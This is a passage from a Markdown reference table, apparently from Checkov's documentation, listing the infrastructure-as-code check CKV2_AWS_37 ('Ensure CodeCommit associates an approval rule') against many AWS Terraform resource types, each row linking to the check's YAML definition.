[CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1617 | CKV2_AWS_37              | resource                         | aws_iam_service_linked_role                                                                      | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1618 | CKV2_AWS_37              | resource                         | aws_iam_service_specific_credential                                                              | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1619 | CKV2_AWS_37              | resource                         | aws_iam_signing_certificate                                                                      | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1620 | CKV2_AWS_37              | resource                         | aws_iam_user                                                                                     | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1621 | CKV2_AWS_37              | resource                         | aws_iam_user_group_membership                                                                    | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1622 | CKV2_AWS_37              | resource                         | aws_iam_user_login_profile                                                                       | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1623 | CKV2_AWS_37              | resource                         | aws_iam_user_policies_exclusive                                                                  | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1624 | CKV2_AWS_37              | resource                         | aws_iam_user_policy                                                                              | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1625 | CKV2_AWS_37              | resource                         | aws_iam_user_policy_attachment                                                                   | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1626 | CKV2_AWS_37              | resource                         | aws_iam_user_policy_attachments_exclusive                                                        | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1627 | CKV2_AWS_37              | resource                         | aws_iam_user_ssh_key                                                                             | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1628 | CKV2_AWS_37              | resource                         | aws_iam_virtual_mfa_device                                                                       | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1629 | CKV2_AWS_37              | resource                         | aws_identitystore_group                                                                          | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1630 | CKV2_AWS_37              | resource                         | aws_identitystore_group_membership                                                               | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1631 | CKV2_AWS_37              | resource                         | aws_identitystore_user                                                                           | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1632 | CKV2_AWS_37              | resource                         | aws_imagebuilder_component                                                                       | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1633 | CKV2_AWS_37              | resource                         | aws_imagebuilder_container_recipe                                                                | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1634 | CKV2_AWS_37              | resource                         | aws_imagebuilder_distribution_configuration                                                      | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1635 | CKV2_AWS_37              | resource                         | aws_imagebuilder_image                                                                           | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1636 | CKV2_AWS_37              | resource                         | aws_imagebuilder_image_pipeline                                                                  | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1637 | CKV2_AWS_37              | resource                         | aws_imagebuilder_image_recipe                                                                    | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1638 | CKV2_AWS_37              | resource                         | aws_imagebuilder_infrastructure_configuration                                                    | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1639 | CKV2_AWS_37              | resource                         | aws_imagebuilder_lifecycle_policy                                                                | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1640 | CKV2_AWS_37              | resource                         | aws_imagebuilder_workflow                                                                        | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1641 | CKV2_AWS_37              | resource                         | aws_inspector2_delegated_admin_account                                                           | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1642 | CKV2_AWS_37              | resource                         | aws_inspector2_enabler                                                                           | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1643 | CKV2_AWS_37              | resource                         | aws_inspector2_member_association                                                                | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1644 | CKV2_AWS_37              | resource                         | aws_inspector2_organization_configuration                                                        | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1645 | CKV2_AWS_37              | resource                         | aws_inspector_assessment_target                                                                  | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1646 | CKV2_AWS_37              | resource                         | aws_inspector_assessment_template                                                                | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1647 | CKV2_AWS_37              | resource                         | aws_inspector_resource_group                                                                     | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1648 | CKV2_AWS_37              | resource                         | aws_instance                                                                                     | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1649 | CKV2_AWS_37              | resource                         | aws_internet_gateway                                                                             | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1650 | CKV2_AWS_37              | resource                         | aws_internet_gateway_attachment                                                                  | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1651 | CKV2_AWS_37              | resource                         | aws_internetmonitor_monitor                                                                      | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1652 | CKV2_AWS_37              | resource                         | aws_iot_authorizer                                                                               | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1653 | CKV2_AWS_37              | resource                         | aws_iot_billing_group                                                                            | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1654 | CKV2_AWS_37              | resource                         | aws_iot_ca_certificate                                                                           | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1655 | CKV2_AWS_37              | resource                         | aws_iot_certificate                                                                              | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1656 | CKV2_AWS_37              | resource                         | aws_iot_domain_configuration                                                                     | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1657 | CKV2_AWS_37              | resource                         | aws_iot_event_configurations                                                                     | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1658 | CKV2_AWS_37              | resource                         | aws_iot_indexing_configuration                                                                   | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1659 | CKV2_AWS_37              | resource                         | aws_iot_logging_options                                                                          | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1660 | CKV2_AWS_37              | resource                         | aws_iot_policy                                                                                   | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1661 | CKV2_AWS_37              | resource                         | aws_iot_policy_attachment                                                                        | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1662 | CKV2_AWS_37              | resource                         | aws_iot_provisioning_template                                                                    | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1663 | CKV2_AWS_37              | resource                         | aws_iot_role_alias                                                                               | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1664 | CKV2_AWS_37              | resource                         | aws_iot_thing                                                                                    | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1665 | CKV2_AWS_37              | resource                         | aws_iot_thing_group                                                                              | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1666 | CKV2_AWS_37              | resource                         | aws_iot_thing_group_membership                                                                   | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1667 | CKV2_AWS_37              | resource                         | aws_iot_thing_principal_attachment                                                               | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1668 | CKV2_AWS_37              | resource                         | aws_iot_thing_type                                                                               | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1669 | CKV2_AWS_37              | resource                         | aws_iot_topic_rule                                                                               | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1670 | CKV2_AWS_37              | resource                         | aws_iot_topic_rule_destination                                                                   | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1671 | CKV2_AWS_37              | resource                         | aws_ivs_channel                                                                                  | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1672 | CKV2_AWS_37              | resource                         | aws_ivs_playback_key_pair                                                                        | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1673 | CKV2_AWS_37              | resource                         | aws_ivs_recording_configuration                                                                  | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1674 | CKV2_AWS_37              | resource                         | aws_ivschat_logging_configuration                                                                | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1675 | CKV2_AWS_37              | resource                         | aws_ivschat_room                                                                                 | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1676 | CKV2_AWS_37              | resource                         | aws_kendra_data_source                                                                           | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1677 | CKV2_AWS_37              | resource                         | aws_kendra_experience                                                                            | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1678 | CKV2_AWS_37              | resource                         | aws_kendra_faq                                                                                   | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1679 | CKV2_AWS_37              | resource                         | aws_kendra_index                                                                                 | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1680 | CKV2_AWS_37              | resource                         | aws_kendra_query_suggestions_block_list                                                          | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1681 | CKV2_AWS_37              | resource                         | aws_kendra_thesaurus                                                                             | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1682 | CKV2_AWS_37              | resource                         | aws_key_pair                                                                                     | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1683 | CKV2_AWS_37              | resource                         | aws_keyspaces_keyspace                                                                           | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1684 | CKV2_AWS_37              | resource                         | aws_keyspaces_table                                                                              | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1685 | CKV2_AWS_37              | resource                         | aws_kinesis_analytics_application                                                                | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1686 | CKV2_AWS_37              | resource                         | aws_kinesis_firehose_delivery_stream                                                             | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1687 | CKV2_AWS_37              | resource                         | aws_kinesis_resource_policy                                                                      | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1688 | CKV2_AWS_37              | resource                         | aws_kinesis_stream                                                                               | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1689 | CKV2_AWS_37              | resource                         | aws_kinesis_stream_consumer                                                                      | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1690 | CKV2_AWS_37              | resource                         | aws_kinesis_video_stream                                                                         | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1691 | CKV2_AWS_37              | resource                         | aws_kinesisanalyticsv2_application                                                               | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1692 | CKV2_AWS_37              | resource                         | aws_kinesisanalyticsv2_application_snapshot                                                      | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1693 | CKV2_AWS_37              | resource                         | aws_kms_alias                                                                                    | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1694 | CKV2_AWS_37              | resource                         | aws_kms_ciphertext                                                                               | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1695 | CKV2_AWS_37              | resource                         | aws_kms_custom_key_store                                                                         | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1696 | CKV2_AWS_37              | resource                         | aws_kms_external_key                                                                             | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1697 | CKV2_AWS_37              | resource                         | aws_kms_grant                                                                                    | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1698 | CKV2_AWS_37              | resource                         | aws_kms_key                                                                                      | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1699 | CKV2_AWS_37              | resource                         | aws_kms_key_policy                                                                               | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1700 | CKV2_AWS_37              | resource                         | aws_kms_replica_external_key                                                                     | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1701 | CKV2_AWS_37              | resource                         | aws_kms_replica_key                                                                              | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1702 | CKV2_AWS_37              | resource                         | aws_lakeformation_data_cells_filter                                                              | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1703 | CKV2_AWS_37              | resource                         | aws_lakeformation_data_lake_settings                                                             | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1704 | CKV2_AWS_37              | resource                         | aws_lakeformation_lf_tag                                                                         | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1705 | CKV2_AWS_37              | resource                         | aws_lakeformation_permissions                                                                    | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1706 | CKV2_AWS_37              | resource                         | aws_lakeformation_resource                                                                       | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | 